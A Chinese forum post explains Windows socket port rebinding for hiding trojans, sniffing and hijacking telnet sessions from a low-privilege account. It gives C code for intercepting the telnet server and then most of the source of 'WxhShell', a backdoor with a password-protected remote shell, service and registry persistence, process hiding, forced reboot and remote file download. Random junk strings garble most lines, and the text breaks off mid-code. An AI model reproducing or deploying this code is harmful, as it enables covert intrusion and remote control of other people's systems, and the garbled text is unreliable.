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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =c/wplv*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D6>HN[D"  
s2Mb[#:a"  
  saddr.sin_family = AF_INET; UrqRx?#  
?>I;34tL(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6Yx4lWBR?  
/YZr~|65  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0q&<bV:D  
 ,%uo6%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^J$2?!~  
SQX:7YF~  
  这意味着什么?意味着可以进行如下的攻击: q WQ/ 'M  
8C*c{(4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Y;?{|  
Pi]19boM.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0u;4%}pD  
_d5QbTe  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 z6*X%6,8  
M7pOLP_1jB  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  r>o63Q:  
x[a<mk  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8fl`r~bqZ  
e 9;~P}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Xu%'Z".>:  
wOU_*uY@6'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 G3Z)Z) N  
RZXjgddL  
  #include P)P*Xq r#:  
  #include bbE!qk;hEP  
  #include E7rDa1  
  #include    8X[:j&@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \W~ N  
  int main() ,J+}rPe"sf  
  { 1*\o.  
  WORD wVersionRequested; 8WXQ Oo8  
  DWORD ret; YtmrRDQs  
  WSADATA wsaData; jIJ~QpNE  
  BOOL val; 3LOdjT J  
  SOCKADDR_IN saddr; }\B><E{G  
  SOCKADDR_IN scaddr; pR=@S>!|  
  int err; F1*>y  
  SOCKET s; 6^]+[q}3  
  SOCKET sc; !2%HhiB'   
  int caddsize; |fK1/<sz#  
  HANDLE mt; MTuV^0%jD  
  DWORD tid;   ~%&LTX0s|  
  wVersionRequested = MAKEWORD( 2, 2 ); ,E S0NA  
  err = WSAStartup( wVersionRequested, &wsaData ); Lt64JH^lz  
  if ( err != 0 ) { wW>A_{Y  
  printf("error!WSAStartup failed!\n"); V% rzk*LA  
  return -1; Z^3rLCa  
  } +r2+X:#~T  
  saddr.sin_family = AF_INET; ; ZA~p  
   0"<H;7K#W  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Q /U2^  
u^^[Q2LDU}  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]L5@,E4.  
  saddr.sin_port = htons(23); {$0mwAOH "  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'j#*6xD  
  { Sc]B#/~B  
  printf("error!socket failed!\n"); slCx w$  
  return -1; fDv2JdiU  
  }  -*1d!  
  val = TRUE; G#ZH.24Y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )|ju~qbf  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) T<n  
  { kMIcK4.MH  
  printf("error!setsockopt failed!\n"); G/)O@Ugp  
  return -1; n@<YI  
  } D+rxT: d  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; I fK,b*%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0yk]o5a++  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @a! #G  
xG~P+n7t5$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $0W|26;  
  { d[iQ` YW5  
  ret=GetLastError(); zO-z%y  
  printf("error!bind failed!\n"); S|Q@:r"  
  return -1; KjD/o?JUr  
  } .Y tKS  
  listen(s,2); W: z6Koc0  
  while(1) !z\h| wU+  
  { G<L;4nA)  
  caddsize = sizeof(scaddr); 0{5w 6  
  //接受连接请求 =*oJEy"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); R)c?`:iUB  
  if(sc!=INVALID_SOCKET) ]%;:7?5l  
  { ;YaQB#GK%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )HEa<P^kJl  
  if(mt==NULL) /ixp&Z|7  
  { "BM#4  
  printf("Thread Creat Failed!\n"); nGC/R&  
  break; /p/]t,-j2  
  } _P!m%34|  
  } 9Gvd&U  
  CloseHandle(mt); 2R[:]-b  
  } Na<pwC  
  closesocket(s); " s,1%Ltt  
  WSACleanup(); C"y(5U)d  
  return 0;  {y)=eX9  
  }   'lH|eU&-  
  DWORD WINAPI ClientThread(LPVOID lpParam) ncaT?~u j  
  { 0- B5`=yU  
  SOCKET ss = (SOCKET)lpParam; n'"/KS+_  
  SOCKET sc; R!HXhQ  
  unsigned char buf[4096]; QFA8N  
  SOCKADDR_IN saddr; v_yw@  
  long num; @ JGP,445  
  DWORD val; ___~D dq  
  DWORD ret; |NlO7aQ>2H  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;xy"\S]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1v y*{D  
  saddr.sin_family = AF_INET; VMZMG$C  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =0 #O U  
  saddr.sin_port = htons(23); )L? P}$+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HVRZ[Y<^  
  { [DuttFX^x  
  printf("error!socket failed!\n"); jV i) Efy  
  return -1; TP*hd  
  } 9gW|}&-  
  val = 100; 9i:L&dN  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?d*z8w  
  { _O?`@g?i  
  ret = GetLastError(); .e#w)K  
  return -1; hDDn,uzpd  
  } 9+|$$)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U4'#T%*  
  { w?L6!)oiz  
  ret = GetLastError(); RbB.q p  
  return -1; p%ki>p )E|  
  } q])K,)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !|(-=2`  
  { gb1V~  
  printf("error!socket connect failed!\n"); KYm0@O>;  
  closesocket(sc); 9 ql~q  
  closesocket(ss); A`%k:@  
  return -1; <sbu;dQ`  
  } rI{; IDV  
  while(1) M-VX;/&FR  
  { G[PtkPSJ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 b/K PaNv  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Fe*R  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |"}FXa O  
  num = recv(ss,buf,4096,0); aqZi:icFa  
  if(num>0) yZY\MB/  
  send(sc,buf,num,0); ~ah~cwmpS  
  else if(num==0) )MVz$h{c.]  
  break; [>I<#_^~  
  num = recv(sc,buf,4096,0); (XTG8W sN  
  if(num>0) K8|r&`X0  
  send(ss,buf,num,0); 6_o*y8s.  
  else if(num==0) 5Pc;5 o0C  
  break; mthA4sz  
  } 8 /]S^'>  
  closesocket(ss); N{!i=A  
  closesocket(sc); 4i;{!sT  
  return 0 ; 2QcOR4_V  
  } B:Oa}/H   
 \!X8   
d'gfQlDny  
========================================================== g}oi!f$|  
tKuwpT1Qc  
下边附上一个代码,,WXhSHELL J1U/.`Oy  
4"(Bu/24  
========================================================== _yx>TE2e  
8NJqV+jn)t  
#include "stdafx.h" q9K)Xk$LF  
C==hox7b  
#include <stdio.h> C 82omL  
#include <string.h> a5^] 20Fa  
#include <windows.h> Y5Bo|*b  
#include <winsock2.h> !*&V- 4  
#include <winsvc.h> Et_bH%0  
#include <urlmon.h> &BLJT9Frx  
H|<[YYk  
#pragma comment (lib, "Ws2_32.lib") :S83vE81WK  
#pragma comment (lib, "urlmon.lib") |Zpfq63W  
\:'/'^=#|  
#define MAX_USER   100 // 最大客户端连接数 `?rSlR@+[I  
#define BUF_SOCK   200 // sock buffer O6 3<AY@  
#define KEY_BUFF   255 // 输入 buffer jOunWv|  
uAq~=)F>,  
#define REBOOT     0   // 重启 &{hL&BLr  
#define SHUTDOWN   1   // 关机 Fyx|z'4b  
.G. 0WR/2  
#define DEF_PORT   5000 // 监听端口 XEp{VC@=  
t|\%VC  
#define REG_LEN     16   // 注册表键长度 oulVg];  
#define SVC_LEN     80   // NT服务名长度 4[r0G+  
Vb;*m5,?:  
// 从dll定义API TER=*"!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [({nj`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (`>+zT5aH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xh,qNnGGi  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6vo;!V6  
/4V#C-  
// wxhshell配置信息 H5B:;g@  
struct WSCFG { x"=f+Mr  
  int ws_port;         // 监听端口 286;=rN]*  
  char ws_passstr[REG_LEN]; // 口令 jXx<`I+]  
  int ws_autoins;       // 安装标记, 1=yes 0=no @f~RdO3  
  char ws_regname[REG_LEN]; // 注册表键名 -HbC!w v  
  char ws_svcname[REG_LEN]; // 服务名 O, wJR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 KeB"D!={;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z+wA rPxc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ItVWO:x&v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ".V$~n(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #e1>H1eU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P>C~ i:4n  
u;"TTN  
}; X*XZb F"=  
,j{,h_Op  
// default Wxhshell configuration B$ PP&/  
struct WSCFG wscfg={DEF_PORT, o Q2Fjj  
    "xuhuanlingzhe", e7Z32P0ls  
    1, +b<FO+E_  
    "Wxhshell", ~O0 $Suv  
    "Wxhshell",  hoUD;3  
            "WxhShell Service", I\{ 1u  
    "Wrsky Windows CmdShell Service", u#$]?($}d  
    "Please Input Your Password: ",  a=9:[  
  1, KIf dafRL  
  "http://www.wrsky.com/wxhshell.exe", =,=A,kI[;  
  "Wxhshell.exe" xb~yM%*c  
    }; _x'6]f{n  
mbxZL<ua  
// 消息定义模块 '&tG?gb&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @/.;Xw]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?m}s4a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3g,`.I_  
char *msg_ws_ext="\n\rExit."; b9J_1Gl]  
char *msg_ws_end="\n\rQuit."; !qh]6%l  
char *msg_ws_boot="\n\rReboot..."; OmpND{w  
char *msg_ws_poff="\n\rShutdown..."; Uw. `7b>B  
char *msg_ws_down="\n\rSave to "; 5|j<`()H :  
VU(v3^1"  
char *msg_ws_err="\n\rErr!"; :'-/NtV)o?  
char *msg_ws_ok="\n\rOK!"; iDp)FQ$  
x7&B$.>3  
char ExeFile[MAX_PATH]; (AaoCa[  
int nUser = 0; EzM ?Nft  
HANDLE handles[MAX_USER]; XK3tgaH  
int OsIsNt; O|{d[eX  
rNWw?_H-H(  
SERVICE_STATUS       serviceStatus; N1}sHyVq7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; DFB@O|JL  
'4+ ur`  
// 函数声明 p Z|V 3  
int Install(void); D rUO-  
int Uninstall(void); .\ULbN3Z  
int DownloadFile(char *sURL, SOCKET wsh); kX7C3qdmt  
int Boot(int flag); %+W{iu[|  
void HideProc(void); UT~4x|b:O  
int GetOsVer(void); JxdDC^> 0  
int Wxhshell(SOCKET wsl); >=I|xY,  
void TalkWithClient(void *cs); wo;~7K  
int CmdShell(SOCKET sock); o4F2%0gJ  
int StartFromService(void); y1eW pPJa  
int StartWxhshell(LPSTR lpCmdLine); zII|9y  
w7.V6S$Ga  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DZ'P@f)]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); EPI4!3]  
jjB~G^n  
// 数据结构和表定义 ,GbR!j@6  
SERVICE_TABLE_ENTRY DispatchTable[] = Q^9_' t}X  
{ ;40/yl3r3[  
{wscfg.ws_svcname, NTServiceMain}, mW(W\'~_~  
{NULL, NULL} Pe_W;q.  
}; by1<[$8r  
 ul6]!Iy  
// 自我安装 jP$a_hW  
int Install(void) J9--tJ?[>o  
{ rK6l8)o  
  char svExeFile[MAX_PATH]; YNyk1cE  
  HKEY key; ky,(xT4  
  strcpy(svExeFile,ExeFile); KI iO  
7?!d^$B  
// 如果是win9x系统,修改注册表设为自启动 #_ ;lf1x!  
if(!OsIsNt) { 5FPM`hLT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .,|G7DGH]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Af~$TyX  
  RegCloseKey(key);  twHVv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A7Cm5>Y_S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $u6"*|  
  RegCloseKey(key); Wq D4YGN  
  return 0; T@H ^BGs  
    } Z!a =dnwHz  
  } 1APe=tJ  
} hn7# L  
else { !3c\NbU  
 L^/5ux  
// 如果是NT以上系统,安装为系统服务 u OmtyX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >;aWz%-  
if (schSCManager!=0) xC?6v '  
{ c)6m$5]  
  SC_HANDLE schService = CreateService ]`!>6/[  
  ( L:$ ,v^2  
  schSCManager, 8rAg \H3E  
  wscfg.ws_svcname, 3V+] 9;  
  wscfg.ws_svcdisp, P[G)sA_"  
  SERVICE_ALL_ACCESS, 0I-9nuw,^;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xk9%F?)  
  SERVICE_AUTO_START, Pf")e,u$  
  SERVICE_ERROR_NORMAL, [t m_Mg  
  svExeFile, 6IN e@  
  NULL, K C*e/J  
  NULL, /wGM#sFH  
  NULL, B {n,t}z  
  NULL, 1SQ3-WU s  
  NULL y>8sZuH0  
  ); r(>@qGN  
  if (schService!=0) nI?[rCM  
  { <`8n^m*  
  CloseServiceHandle(schService); H5/6TX72N  
  CloseServiceHandle(schSCManager); \i>?q   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RN1y^`  
  strcat(svExeFile,wscfg.ws_svcname); /* (Kr'c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { np|Sy;:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +qN>.y!Y  
  RegCloseKey(key); ydEoC$?0  
  return 0; )rIwqUgp6\  
    } sU<Wnz\[  
  } d(ZO6Nr Q  
  CloseServiceHandle(schSCManager); % :f&.@'r  
} (q/e1L-S  
} '?{OZXg  
: g7@PJND  
return 1; A7 {\</Z  
} q_:4w$>  
SBu"3ym  
// 自我卸载 J'6PmPzY|  
int Uninstall(void) Gq)]s'r2  
{ l ~"^7H?4e  
  HKEY key; 93>jr<A  
;$,U~0  
if(!OsIsNt) { /s&9SYF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >a<.mU|#  
  RegDeleteValue(key,wscfg.ws_regname); PudS2k_Qv  
  RegCloseKey(key); fivw~z|[@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;J( 8 L  
  RegDeleteValue(key,wscfg.ws_regname); 0(}t8lc  
  RegCloseKey(key); 94`7a<&ZNL  
  return 0; dw>C@c#"  
  } l+K'beP  
} gT{Q#C2Baw  
} 'T;P;:!\  
else { ,$L4dF3  
Wx%H%FeK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ah$b [\#C  
if (schSCManager!=0) .&iawz  
{ bTNgjc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |)DGkOtd  
  if (schService!=0) / y40(l?  
  { fSj5ZsO  
  if(DeleteService(schService)!=0) { [ZwjOi:)  
  CloseServiceHandle(schService); VR8-&N  
  CloseServiceHandle(schSCManager); r| wS<cA2  
  return 0; <]t%8GB2V  
  } z]y.W`i   
  CloseServiceHandle(schService); kPG-hD  
  } %g$o/A$  
  CloseServiceHandle(schSCManager); vkV0On  
} ?3`UbN:  
} 'W^YM@  
U[-o> W#  
return 1; )T2Caqs2  
} :gibfk]C  
@+2=g WH  
// 从指定url下载文件 "Qc7dRmSxm  
int DownloadFile(char *sURL, SOCKET wsh) yjX9oxhtL  
{ ^ig' bw+WS  
  HRESULT hr; z (wc0I  
char seps[]= "/"; ^98~U\ar  
char *token; >Eto( y"q  
char *file; CNyIQ}NJ  
char myURL[MAX_PATH]; '3fu  
char myFILE[MAX_PATH]; N/2 T[s_&  
V!A~K   
strcpy(myURL,sURL); bl;1i@Z*M  
  token=strtok(myURL,seps); ql{ OETn#  
  while(token!=NULL) #&aqKV Y  
  { pofie$  
    file=token; hd<c&7|G'  
  token=strtok(NULL,seps); I3I/bofz  
  } $k%2J9O  
\ :sUL!  
GetCurrentDirectory(MAX_PATH,myFILE); hx%v+/  
strcat(myFILE, "\\"); Hg izW  
strcat(myFILE, file); osAd1<EIC  
  send(wsh,myFILE,strlen(myFILE),0); Y"aJur=`  
send(wsh,"...",3,0); ,m:.-iy?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a~}OZ&PG  
  if(hr==S_OK) KL57# gV  
return 0; g |yvF-+  
else 06Sceq  
return 1; IueFx u  
vMH  
} b9HtR-iR;  
x2\qXN/R  
// 系统电源模块 '8H4shYg  
int Boot(int flag) 0gr/<v  
{ &.Qrs :U  
  HANDLE hToken; !ons]^km  
  TOKEN_PRIVILEGES tkp; m nX2a  
@,7GaK\  
  if(OsIsNt) { hRCJv#]HC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9 -a0:bP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R"t,xM  
    tkp.PrivilegeCount = 1; ~-Qw.EdC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,m|h<faZL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FHg 9OI67  
if(flag==REBOOT) { 29] G^f>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "e>;'%W  
  return 0; _|I#{jK  
} O-hAFKx  
else { <=/hi l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]Q3ADh  
  return 0; 4p;`C  
} Ie#Bkw'*  
  } #f]SK[nR  
  else { p]+Pkxz]'  
if(flag==REBOOT) { []1C$.5DD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `l[c_%Bm  
  return 0; 2eY_%Y0  
} 3,qr-g|;jM  
else { ^k">A:E2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Am|%lj+1z  
  return 0; qfm|@v|De5  
} ?NsW|w_  
} X5$Iyis  
)F]]m#`  
return 1; &n:.k}/P  
} }|NCboM^_  
9qzHS~l  
// win9x进程隐藏模块 <`r>h  
void HideProc(void) 6O!2P  
{ BW*rIn<?G  
S_UIO.K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ( ^Nz9{  
  if ( hKernel != NULL ) VuZuS6~#J  
  { ;iL#7NG-R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X\qNG]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Fywv  
    FreeLibrary(hKernel); =dYqS[kJW  
  } k,+0u/I  
"J_9WUN  
return; >_T-u<E  
} s9DYi~/,  
h J)h\  
// 获取操作系统版本 y _k l:Ssa  
int GetOsVer(void) #c.K/&Gc7j  
{ E{P|)`,V  
  OSVERSIONINFO winfo; g (CI;f}y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -X2Buz8  
  GetVersionEx(&winfo); 9EibIOD^/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I:1C8*/  
  return 1; ` 7V]y -  
  else 56kI 5:  
  return 0; kJT)r6  
} ;"-&1qHN  
,(^*+G.i  
// 客户端句柄模块 Cj lk  
int Wxhshell(SOCKET wsl) ar+9\  
{ x7<K<k;s  
  SOCKET wsh; 0)Wltw~`&  
  struct sockaddr_in client; H8}oIA"b  
  DWORD myID; X2~!(WxU F  
=^,m` _1  
  while(nUser<MAX_USER) k>si5'W  
{ mGg+.PFsM  
  int nSize=sizeof(client); K_Eux rPn  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5MJS ~(  
  if(wsh==INVALID_SOCKET) return 1; #BH*Z(  
Ry6@VQ"NLb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {8bSB.?R  
if(handles[nUser]==0) ^>v+( z5R  
  closesocket(wsh); f\L0 xJ  
else 2.%ITB  
  nUser++; }y gD3:vN7  
  } \bvfEP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &E5g3lf  
t&e{_|i#+  
  return 0; }a(dyr`S  
} ?)d~cJ  
^v7gIC  
// 关闭 socket LG#t<5y~  
void CloseIt(SOCKET wsh) {9.|2%a  
{ A#YrWW  
closesocket(wsh); hf&9uHN%7m  
nUser--; f x+/C8GK  
ExitThread(0); iSs:oH3l  
} [FR`Z=%  
oE]QF.n#  
// 客户端请求句柄 -]M5wb2,  
void TalkWithClient(void *cs) G2: agqL/  
{ 8VXH+5's  
_u QOHwn  
  SOCKET wsh=(SOCKET)cs; 8&b,qQ~  
  char pwd[SVC_LEN]; O)r4?<Q  
  char cmd[KEY_BUFF]; WOL:IZX%  
char chr[1]; L$M9w  
int i,j; cTTL1SW  
{kR#p %E]  
  while (nUser < MAX_USER) { BR;D@R``}  
t'k$&l}+  
if(wscfg.ws_passstr) { 3AN/ H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I^$fMdT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); smo~7;  
  //ZeroMemory(pwd,KEY_BUFF); B \2 SH%\  
      i=0; onxLyx|A  
  while(i<SVC_LEN) { GC}==^1  
WdbedU~`Q  
  // 设置超时 .3Oap*X  
  fd_set FdRead; a<bwzX|.  
  struct timeval TimeOut; T1=fNF  
  FD_ZERO(&FdRead); Z4 =GMXj  
  FD_SET(wsh,&FdRead); JY(WK@  
  TimeOut.tv_sec=8; 1#+S+g@#  
  TimeOut.tv_usec=0; p H2Sbs:Tk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v):Or'$~M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ji0@P'^;  
t\7[f >  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C!bUI8x z  
  pwd=chr[0]; E+;7>ja  
  if(chr[0]==0xd || chr[0]==0xa) { >tW#/\x{  
  pwd=0; sLxc(d'A  
  break; &0JI!bR(  
  } k@W1-D?  
  i++; U&p${IcEm  
    } nb%6X82Q  
[MY|T<q  
  // 如果是非法用户,关闭 socket |Z +=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =Jb>x#Y  
} %n9aaoD  
vUM4S26"NT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P+/e2Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zIAD9mQex  
l2Rb\4  
while(1) { y?4BqgB  
A2Gevj?F$  
  ZeroMemory(cmd,KEY_BUFF); s!$7(Q86R  
#S"nF@   
      // 自动支持客户端 telnet标准   *gWwALGo5  
  j=0; $-sHWYZ  
  while(j<KEY_BUFF) { @E|}Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oXF.1f/h  
  cmd[j]=chr[0]; #QMz<P/Gl6  
  if(chr[0]==0xa || chr[0]==0xd) { )\$|X}uny&  
  cmd[j]=0; U-M>=3|N  
  break; v` 1lxX'*  
  } rFL;'Cj@  
  j++; t1x1,SL  
    } @~a%/GQ#n*  
%1+4_g9  
  // 下载文件 ~Z' ?LV<t  
  if(strstr(cmd,"http://")) { d7bS wL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0LJv'  
  if(DownloadFile(cmd,wsh)) FU4L6n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); '^UI,"Ti  
  else )l DD\J7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IjnU?Bf  
  } 'TB2:W3  
  else { _X x/(.O  
kE1TP]|  
    switch(cmd[0]) { * r7rZFS  
  ncT&Gr   
  // 帮助 '6%2.[ o  
  case '?': { `e}B2;$A3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K]w'&Qm8W  
    break; "3Y0`&:D  
  } ey$&;1x#5  
  // 安装 6.yu-xm  
  case 'i': { x7 ,5  
    if(Install()) |P?*5xPB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `r 3  
    else jAlv`uB|G"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ; BHtCuY  
    break; -aCKRN85  
    } O?#7N[7  
  // 卸载 b@hqz!)l`  
  case 'r': { '!B&:X)  
    if(Uninstall()) J5,9_uo]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c@L< Z`u  
    else ~((O8@}J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F*ylnB3z  
    break; DkDmE  
    } |M;7>'YNC*  
  // 显示 wxhshell 所在路径 =[7Av>  
  case 'p': { 8zW2zkv2|#  
    char svExeFile[MAX_PATH]; +9sQZB# (  
    strcpy(svExeFile,"\n\r"); [j+sC*  
      strcat(svExeFile,ExeFile); U8$27jq  
        send(wsh,svExeFile,strlen(svExeFile),0); sc#qwQ#  
    break; 1 [Bk%G@D&  
    } PXNuL&   
  // 重启 c'\dFb9a  
  case 'b': { gL/9/b4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `C'H.g\>2Q  
    if(Boot(REBOOT)) j8:\%|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J\=*#*rJ1  
    else { kvu)y`  
    closesocket(wsh); ((%? `y  
    ExitThread(0); P?P#RhvA1  
    } )MT}+ai  
    break; tw)mepwB  
    } ^E>3|du]O  
  // 关机 ~WF\  
  case 'd': { 7D_=  
